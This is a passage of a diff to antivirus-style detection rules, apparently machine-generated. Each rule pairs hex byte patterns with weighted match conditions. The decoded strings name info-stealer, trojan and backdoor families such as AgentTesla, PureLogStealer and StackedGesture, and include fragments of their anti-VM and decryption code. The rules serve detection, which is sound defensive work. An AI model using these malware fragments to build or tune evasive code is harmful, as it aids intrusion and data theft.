01 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 00 00 00 00 66 00 69 00 6c 00 65 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 00 00 78 bb 00 00 0c 00 0c 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 } //28524 + $a_64_7 = {00 3a 01 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 00 00 00 00 66 00 69 00 6c 00 65 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 00 00 78 bb 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f } //28524 condition: ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_bb_6 & 1)*0+(#a_64_7 & 1)*28524) >=9 } -rule _InfrastructureShared_12970{ +rule _InfrastructureShared_13818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " strings : $a_4c_0 = {45 52 3a 48 53 54 52 3a 4d 53 49 4c 2f 44 6f 74 64 6f 00 01 00 2a 01 3c 4d 6f 64 75 6c 65 3e 00 64 6f 77 6e 6c 6f 61 64 2e 65 78 65 00 50 72 6f 67 72 61 6d 00 64 6f 77 6e 6c 6f 61 64 66 69 6c 65 01 00 2a 01 } //21539 - $a_64_1 = {6c 65 3e 00 64 6f 77 6e 6c 6f 61 64 2e 65 78 65 00 50 72 6f 67 72 61 6d 00 66 69 6c 65 64 6f 77 6e 6c 6f 61 64 0a 00 3a 01 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 00 00 00 00 66 00 69 00 6c 00 65 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 00 00 78 bb 00 00 0c 00 0c 00 07 00 } //19772 - $a_53_2 = {52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 39 30 36 32 32 31 21 4d 54 42 00 06 00 16 81 01 37 35 37 38 38 35 35 35 5a 5a 5a 43 55 30 34 42 5a 44 43 35 38 34 01 00 0a 81 01 4c } //8993 + $a_64_1 = {6c 65 3e 00 64 6f 77 6e 6c 6f 61 64 2e 65 78 65 00 50 72 6f 67 72 61 6d 00 66 69 6c 65 64 6f 77 6e 6c 6f 61 64 0a 00 3a 01 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 00 00 00 00 66 00 69 00 6c 00 65 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 00 00 78 bb 00 00 0c 00 0c 00 03 00 } //19772 + $a_45_2 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 53 74 65 61 6c 65 72 2e 5a 45 57 21 4d 54 42 00 0a 00 5f 03 72 49 04 00 70 38 77 00 00 00 38 7c 00 00 00 72 7b 04 00 70 38 78 00 00 00 38 7d 00 00 00 16 2d ee 38 7b 00 00 00 38 80 00 00 00 08 } //8993 condition: - ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*19772+(#a_53_2 & 1)*8993) >=11 + ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*19772+(#a_45_2 & 1)*8993) >=11 } -rule _InfrastructureShared_12971{ +rule _InfrastructureShared_13819{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 53 74 65 61 6c 65 72 2e 5a 45 57 21 4d 54 42 00 0a 00 5f 03 72 49 04 00 70 38 77 00 00 00 38 7c 00 00 00 72 7b 04 00 70 38 78 00 00 00 38 7d 00 00 00 } //21539 + $a_38_1 = {00 00 00 38 80 00 00 00 08 06 6f 90 01 01 00 00 0a 08 07 6f 90 01 01 00 00 0a 08 6f 90 01 01 01 00 0a 0d 2b 10 2b 11 16 2b 11 8e 69 6f 90 01 01 01 00 0a 13 04 de 26 09 2b ed 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 bb 00 00 0c 00 0c 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 39 30 36 32 32 31 21 4d 54 42 00 06 00 16 81 01 37 35 37 38 38 35 35 35 5a 5a 5a 43 55 30 34 42 5a 44 43 35 38 34 01 00 0a 81 01 4c 69 62 72 61 72 79 33 36 30 01 00 09 01 48 61 73 68 74 61 62 6c 65 01 00 18 01 41 65 73 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 } //11542 + $a_01_2 = {43 6f 6d 70 75 74 65 48 61 73 68 } //1 ComputeHash + condition: + ((#a_4c_0 & 1)*21539+(#a_38_1 & 1)*11542+(#a_01_2 & 1)*1) >=12 + +} +rule _InfrastructureShared_13820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -145588,7 +155279,7 @@ rule _InfrastructureShared_12971{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*18433+(#a_4c_2 & 1)*8993+(#a_02_4 & 1)*2+(#a_02_5 & 1)*1+(#a_02_6 & 1)*1) >=12 } -rule _InfrastructureShared_12972{ +rule _InfrastructureShared_13821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0c 00 05 00 21 " @@ -145601,7 +155292,7 @@ rule _InfrastructureShared_12972{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*17477+(#a_01_2 & 1)*-5504+(#a_6d_3 & 1)*17153) >=12 } -rule _InfrastructureShared_12973{ +rule _InfrastructureShared_13822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -145614,7 +155305,7 @@ rule _InfrastructureShared_12973{ ((#a_6f_0 & 1)*21539+(#a_65_1 & 1)*28781+(#a_00_3 & 1)*47+(#a_00_4 & 1)*11825) >=14 } -rule _InfrastructureShared_12974{ +rule _InfrastructureShared_13823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -145626,7 +155317,7 @@ rule _InfrastructureShared_12974{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115+(#a_56_4 & 1)*22081) >=18 } -rule _InfrastructureShared_12975{ +rule _InfrastructureShared_13824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -145640,7 +155331,7 @@ rule _InfrastructureShared_12975{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*14341+(#a_78_2 & 1)*20596+(#a_65_3 & 1)*31060+(#a_63_4 & 1)*9217) >=18 } -rule _InfrastructureShared_12976{ +rule _InfrastructureShared_13825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " @@ -145649,30 +155340,45 @@ rule _InfrastructureShared_12976{ $a_2e_1 = {6f 0a 00 0e 81 01 54 20 20 6f 20 57 20 69 20 6e 20 33 20 32 01 00 13 81 01 2f 2f 2f 41 2f 75 74 2f 6f 2f 6d 61 2f 74 65 2f 73 2f 2f 01 00 07 01 52 65 70 6c 61 63 65 01 00 07 01 47 65 74 54 79 70 65 01 00 0f 01 43 6f 6c 6f 72 54 72 61 6e 73 6c 61 74 6f 72 } //20481 $a_bb_2 = {00 18 00 18 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 72 6f 6d 42 6f 6f 6b 2e 52 50 61 7a 32 38 30 36 21 45 4d 4c 00 0a 00 22 01 4c 43 44 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 0a 00 25 01 24 64 63 66 35 61 63 34 30 2d 33 65 35 36 2d 34 30 61 66 2d 38 36 35 66 2d 31 64 65 35 65 } //0 $a_62_3 = {31 62 01 00 07 01 52 65 76 65 72 73 65 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 0d 01 47 65 74 45 6e 75 6d 65 72 61 74 6f 72 01 00 0f 01 48 74 74 70 57 } //12345 - $a_65_4 = {70 6f 6e 73 65 00 00 78 bb 00 00 19 00 19 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 6b 79 42 69 65 2e 41 00 0a 00 12 01 54 43 6f 6d 6d 75 6e 69 63 61 74 6f 72 46 6f 72 6d 00 0a 00 11 01 54 5a 61 70 43 6f 6d 6d 75 6e 69 63 61 74 6f 72 00 } //25189 - $a_01_5 = {53 62 69 65 44 6c 6c 2e 64 6c 6c 00 } //1 - $a_01_6 = {53 62 69 65 44 6c 6c 58 2e 64 6c 6c 00 } //1 - $a_01_7 = {71 65 6d 75 00 } //1 - $a_01_8 = {76 69 72 74 75 61 6c 00 } //1 楶瑲慵l + $a_65_4 = {70 6f 6e 73 65 00 00 78 bb 00 00 19 00 19 00 06 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 53 74 61 63 6b 65 64 47 65 73 74 75 72 65 2e 41 21 64 68 61 00 19 00 20 01 63 30 66 37 66 65 33 37 2d 37 30 32 36 2d 34 33 } //25189 + $a_39_5 = {65 33 2d 31 39 35 32 64 66 35 32 05 00 16 01 4e 74 55 73 65 72 53 65 74 47 65 73 74 75 72 65 43 6f 6e 66 69 67 05 00 0d 01 25 75 2e 25 } //12385 + $a_75_6 = {25 75 25 63 05 00 0a 01 57 73 32 5f 33 32 2e 64 6c 6c 05 00 19 01 4b 65 53 74 61 6c 6c 45 78 65 63 75 74 69 6f } //11893 + $a_6f_7 = {65 73 73 6f 72 05 00 08 01 5f 5f 63 68 6b 73 74 6b 00 00 78 bb 00 00 19 00 19 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 6b 79 42 69 65 2e 41 00 0a 00 12 01 54 43 6f 6d 6d 75 6e 69 63 61 74 6f 72 46 6f 72 6d 00 0a 00 11 01 54 5a 61 70 43 6f 6d 6d 75 6e 69 63 61 74 6f 72 00 01 00 0c 01 53 62 69 65 44 6c 6c 2e 64 6c 6c 00 01 00 0d 01 } //20590 + $a_65_8 = {6c 6c 58 2e 64 6c 6c 00 01 00 05 01 71 65 6d 75 00 01 00 08 01 76 69 72 74 75 61 6c 00 01 00 07 01 76 6d 77 61 72 65 00 01 00 0f 01 2e 70 68 70 3f 73 6b 79 70 65 5f 69 64 3d 00 06 00 1a 01 5c 49 4d 77 6f 72 6d 5c 52 65 6c 65 61 73 65 5c 53 6b 79 70 65 2e 70 64 62 00 00 00 78 bc 00 00 01 00 01 00 01 00 21 23 41 4c } //25171 condition: - ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*20481+(#a_bb_2 & 1)*0+(#a_62_3 & 1)*12345+(#a_65_4 & 1)*25189+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=18 + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*20481+(#a_bb_2 & 1)*0+(#a_62_3 & 1)*12345+(#a_65_4 & 1)*25189+(#a_39_5 & 1)*12385+(#a_75_6 & 1)*11893+(#a_6f_7 & 1)*20590+(#a_65_8 & 1)*25171) >=18 } -rule _InfrastructureShared_12977{ +rule _InfrastructureShared_13826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 72 6f 6d 42 6f 6f 6b 2e 52 50 61 7a 32 38 30 36 21 45 4d 4c 00 0a 00 22 01 4c 43 44 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 0a 00 25 01 24 64 63 66 35 61 } //18467 $a_2d_1 = {65 35 36 2d 34 30 61 66 2d 38 36 35 66 2d 31 64 65 35 65 39 30 33 62 36 31 62 01 00 07 01 52 65 76 65 72 73 65 01 00 08 01 54 6f 53 74 72 69 6e } //13411 - $a_74_3 = {6e 75 6d 65 72 61 74 6f 72 01 00 0f 01 48 74 74 70 57 65 62 52 65 73 70 6f 6e 73 65 00 00 78 bb 00 00 19 00 19 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 6b 79 42 69 65 2e 41 00 0a 00 12 01 54 43 6f 6d 6d 75 6e 69 63 61 74 6f 72 46 6f 72 6d 00 0a 00 11 01 54 5a 61 70 43 6f 6d 6d 75 6e 69 63 61 } //18177 - $a_00_4 = {01 00 0c 01 53 62 69 65 44 6c 6c 2e 64 6c 6c 00 01 00 0d 01 53 62 69 65 44 6c 6c 58 2e 64 6c 6c 00 01 00 05 01 71 65 6d 75 00 01 00 08 01 76 69 72 74 75 61 6c 00 01 00 07 01 76 6d 77 61 72 65 00 01 00 0f 01 2e 70 68 70 3f 73 6b 79 70 65 5f 69 64 3d 00 06 00 1a 01 5c 49 4d 77 6f 72 6d 5c 52 65 6c 65 61 73 65 5c 53 6b 79 70 65 2e 70 64 62 00 } //28532 - $a_bc_5 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 61 6e 61 62 6f 74 2e 5a 41 21 4d 54 42 00 01 00 8e 03 29 c1 89 8c 24 90 01 04 8b 84 24 90 01 04 8b 8c 24 90 01 04 29 c1 89 8c 24 00 01 00 00 8b 84 24 f0 00 00 00 8b 8c 24 f0 00 00 00 c1 e9 05 29 c8 48 8b 94 24 90 01 04 44 8b 84 24 90 01 04 42 89 04 82 8b 84 24 90 01 04 03 84 24 } //0 + $a_74_3 = {6e 75 6d 65 72 61 74 6f 72 01 00 0f 01 48 74 74 70 57 65 62 52 65 73 70 6f 6e 73 65 00 00 78 bb 00 00 19 00 19 00 06 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 53 74 61 63 6b 65 64 47 65 73 74 75 72 65 2e 41 21 64 68 61 00 19 00 20 01 63 30 66 37 66 65 33 37 2d 37 30 32 } //18177 + $a_33_4 = {30 2d 39 66 65 33 2d 31 39 35 32 64 66 35 32 05 00 16 01 4e 74 55 73 65 72 53 65 74 47 65 73 74 75 72 65 43 6f 6e 66 69 67 05 00 0d 01 25 75 2e 25 75 2e 25 } //11574 + $a_75_5 = {63 05 00 0a 01 57 73 32 5f 33 32 2e 64 6c 6c 05 00 19 01 4b 65 53 74 61 6c 6c 45 78 65 63 75 74 69 6f 6e 50 72 } //11893 condition: - ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*13411+(#a_74_3 & 1)*18177+(#a_00_4 & 1)*28532+(#a_bc_5 & 1)*0) >=24 + ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*13411+(#a_74_3 & 1)*18177+(#a_33_4 & 1)*11574+(#a_75_5 & 1)*11893) >=24 } -rule _InfrastructureShared_12978{ +rule _InfrastructureShared_13827{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 06 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 53 74 61 63 6b 65 64 47 65 73 74 75 72 65 2e 41 21 64 68 61 00 19 00 20 01 63 30 66 37 66 65 33 37 2d 37 30 32 36 2d 34 33 61 30 2d 39 66 65 33 2d 31 39 35 32 64 66 35 32 05 } //16675 + $a_4e_1 = {55 } //5632 U + $a_53_2 = {74 47 65 73 74 75 72 65 43 6f 6e 66 69 67 05 00 0d 01 25 75 2e 25 75 2e 25 75 2e 25 75 25 63 05 00 0a 01 57 73 32 5f 33 32 2e 64 6c 6c 05 00 19 01 4b 65 53 74 61 6c 6c 45 78 65 63 75 74 69 6f 6e 50 72 6f 63 65 73 73 6f 72 05 00 08 01 5f 5f 63 68 6b 73 74 6b 00 00 78 bb 00 00 19 00 19 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 6b 79 } //25971 + $a_2e_3 = {00 0a 00 12 01 54 43 6f 6d 6d 75 6e 69 63 61 74 6f 72 46 6f 72 6d 00 0a 00 11 01 54 5a 61 70 43 6f 6d 6d 75 6e 69 63 61 74 6f 72 00 01 00 0c 01 53 62 69 65 44 6c 6c 2e 64 6c 6c 00 01 00 0d 01 53 62 69 65 44 6c 6c 58 2e 64 6c 6c 00 01 00 05 01 71 65 6d 75 00 01 00 08 01 76 69 72 74 75 61 6c 00 01 00 07 } //26946 + $a_77_4 = {72 65 00 01 00 0f 01 2e 70 68 70 3f 73 6b 79 70 65 5f 69 64 3d 00 06 00 1a 01 5c 49 4d 77 6f 72 6d 5c 52 65 6c 65 61 73 65 5c 53 6b 79 70 65 2e 70 64 62 00 00 00 78 bc 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 61 6e 61 62 6f 74 2e 5a 41 21 4d 54 42 00 01 00 8e 03 29 c1 89 8c 24 90 01 } //30209 + $a_24_5 = {01 04 8b 8c 24 90 01 04 29 c1 89 8c 24 00 01 00 00 8b 84 24 f0 00 00 00 8b 8c 24 f0 00 00 00 c1 e9 05 29 c8 48 8b 94 24 90 01 04 44 8b 84 24 90 01 04 42 89 04 82 8b 84 24 90 01 04 03 84 24 90 01 04 05 01 00 00 00 89 84 24 90 01 04 8b 84 24 90 01 04 0d 01 00 00 00 89 84 24 90 01 04 48 8b 84 24 90 01 04 8b 8c 24 90 01 04 8b 14 88 89 94 24 90 01 04 81 bc 24 90 01 04 00 00 00 01 0f 83 90 00 00 00 } //-29948 + condition: + ((#a_46_0 & 1)*16675+(#a_4e_1 & 1)*5632+(#a_53_2 & 1)*25971+(#a_2e_3 & 1)*26946+(#a_77_4 & 1)*30209+(#a_24_5 & 1)*-29948) >=25 + +} +rule _InfrastructureShared_13828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 09 00 21 " @@ -145689,7 +155395,7 @@ rule _InfrastructureShared_12978{ ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*27716+(#a_69_2 & 1)*14958+(#a_24_3 & 1)*-29822+(#a_31_4 & 1)*12338+(#a_72_5 & 1)*26213+(#a_37_7 & 1)*14129+(#a_32_8 & 1)*17971) >=25 } -rule _InfrastructureShared_12979{ +rule _InfrastructureShared_13829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -145699,7 +155405,7 @@ rule _InfrastructureShared_12979{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12980{ +rule _InfrastructureShared_13830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -145709,7 +155415,7 @@ rule _InfrastructureShared_12980{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12981{ +rule _InfrastructureShared_13831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -145721,7 +155427,7 @@ rule _InfrastructureShared_12981{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*14646+(#a_34_2 & 1)*13126) >=1 } -rule _InfrastructureShared_12982{ +rule _InfrastructureShared_13832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -145734,7 +155440,7 @@ rule _InfrastructureShared_12982{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*26625+(#a_00_3 & 1)*28426+(#a_01_4 & 1)*28425) >=1 } -rule _InfrastructureShared_12983{ +rule _InfrastructureShared_13833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145745,7 +155451,7 @@ rule _InfrastructureShared_12983{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28561) >=2 } -rule _InfrastructureShared_12984{ +rule _InfrastructureShared_13834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145756,7 +155462,7 @@ rule _InfrastructureShared_12984{ ((#a_46_0 & 1)*16675+(#a_56_1 & 1)*4174) >=2 } -rule _InfrastructureShared_12985{ +rule _InfrastructureShared_13835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145767,7 +155473,7 @@ rule _InfrastructureShared_12985{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28615) >=2 } -rule _InfrastructureShared_12986{ +rule _InfrastructureShared_13836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145778,7 +155484,7 @@ rule _InfrastructureShared_12986{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*14637) >=2 } -rule _InfrastructureShared_12987{ +rule _InfrastructureShared_13837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145789,7 +155495,7 @@ rule _InfrastructureShared_12987{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*5897) >=2 } -rule _InfrastructureShared_12988{ +rule _InfrastructureShared_13838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145800,7 +155506,7 @@ rule _InfrastructureShared_12988{ ((#a_54_0 & 1)*18467+(#a_1f_1 & 1)*5009) >=2 } -rule _InfrastructureShared_12989{ +rule _InfrastructureShared_13839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145810,7 +155516,7 @@ rule _InfrastructureShared_12989{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12990{ +rule _InfrastructureShared_13840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145820,7 +155526,7 @@ rule _InfrastructureShared_12990{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12991{ +rule _InfrastructureShared_13841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145830,7 +155536,7 @@ rule _InfrastructureShared_12991{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12992{ +rule _InfrastructureShared_13842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145840,7 +155546,7 @@ rule _InfrastructureShared_12992{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12993{ +rule _InfrastructureShared_13843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145851,7 +155557,7 @@ rule _InfrastructureShared_12993{ ((#a_46_0 & 1)*21283+(#a_8b_1 & 1)*4843) >=2 } -rule _InfrastructureShared_12994{ +rule _InfrastructureShared_13844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145862,7 +155568,7 @@ rule _InfrastructureShared_12994{ ((#a_46_0 & 1)*21283+(#a_eb_1 & 1)*12544) >=2 } -rule _InfrastructureShared_12995{ +rule _InfrastructureShared_13845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -145873,7 +155579,7 @@ rule _InfrastructureShared_12995{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101) >=2 } -rule _InfrastructureShared_12996{ +rule _InfrastructureShared_13846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -145884,7 +155590,7 @@ rule _InfrastructureShared_12996{ ((#a_54_0 & 1)*18467+(#a_44_2 & 1)*0) >=2 } -rule _InfrastructureShared_12997{ +rule _InfrastructureShared_13847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -145895,7 +155601,7 @@ rule _InfrastructureShared_12997{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*8293) >=2 } -rule _InfrastructureShared_12998{ +rule _InfrastructureShared_13848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -145908,7 +155614,7 @@ rule _InfrastructureShared_12998{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*-32727+(#a_65_2 & 1)*30064+(#a_6e_3 & 1)*22330) >=2 } -rule _InfrastructureShared_12999{ +rule _InfrastructureShared_13849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -145921,7 +155627,7 @@ rule _InfrastructureShared_12999{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*9372+(#a_00_2 & 1)*102+(#a_00_3 & 1)*3) >=2 } -rule _InfrastructureShared_13000{ +rule _InfrastructureShared_13850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -145933,7 +155639,7 @@ rule _InfrastructureShared_13000{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*97+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_13001{ +rule _InfrastructureShared_13851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -145945,19 +155651,31 @@ rule _InfrastructureShared_13001{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*10328+(#a_61_2 & 1)*25633) >=3 } -rule _InfrastructureShared_13002{ +rule _InfrastructureShared_13852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 57 68 69 6e 6b 6c 65 72 64 2e 41 21 64 68 61 00 01 00 11 01 4c 6f 61 64 69 6e 67 3a 20 25 73 20 25 78 20 25 78 01 00 0d 01 75 73 61 67 65 3a 20 25 73 20 64 6c 6c 01 } //16675 $a_40_1 = {48 83 ec } //24320 - $a_fa_2 = {f9 04 74 4f 83 f9 02 7c 3b 48 8b 4a 08 48 89 5c 24 30 ff 15 90 01 04 48 8b d8 ff 15 90 01 04 48 8b 57 08 48 8d 90 01 05 4c 8b cb 44 8b c0 e8 90 01 04 48 8b 5c 24 30 33 c0 48 83 c4 20 5f c3 48 8b 12 48 8d 90 01 05 e8 90 01 04 33 c0 48 83 c4 20 5f c3 90 00 00 00 78 bc 00 00 03 00 03 00 03 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 00 01 00 3b 01 73 69 67 6e 6b 65 79 33 36 39 00 00 54 73 } //18464 + $a_fa_2 = {f9 04 74 4f 83 f9 02 7c 3b 48 8b 4a 08 48 89 5c 24 30 ff 15 90 01 04 48 8b d8 ff 15 90 01 04 48 8b 57 08 48 8d 90 01 05 4c 8b cb 44 8b c0 e8 90 01 04 48 8b 5c 24 30 33 c0 48 83 c4 20 5f c3 48 8b 12 48 8d 90 01 05 e8 90 01 04 33 c0 48 83 c4 20 5f c3 90 00 00 00 78 bc 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 74 56 61 6e 65 2e 42 21 64 68 61 00 01 00 4c 01 59 00 } //18464 condition: ((#a_46_0 & 1)*16675+(#a_40_1 & 1)*24320+(#a_fa_2 & 1)*18464) >=3 } -rule _InfrastructureShared_13003{ +rule _InfrastructureShared_13853{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 74 56 61 6e 65 2e 42 21 64 68 61 00 01 00 4c 01 59 00 6f 00 75 00 20 00 61 00 72 00 65 00 20 00 75 00 73 00 69 00 6e 00 67 00 20 00 61 00 6e 00 20 00 75 00 6e 00 61 00 6c 00 } //16675 + $a_00_1 = {77 00 65 00 64 00 20 00 55 00 53 00 42 00 20 00 6d 00 65 00 6d 00 6f 00 72 00 79 00 21 00 01 00 24 01 25 00 73 00 5c 00 72 00 65 00 63 00 65 00 6e 00 74 00 74 00 69 00 6d 00 65 00 2e 00 63 00 6f 00 6e 00 66 00 01 00 14 01 25 00 73 00 5c 00 53 00 63 00 72 00 65 00 65 00 6e 00 5c 00 00 00 78 bc 00 00 03 00 03 00 03 00 21 23 41 64 77 } //108 + $a_3a_2 = 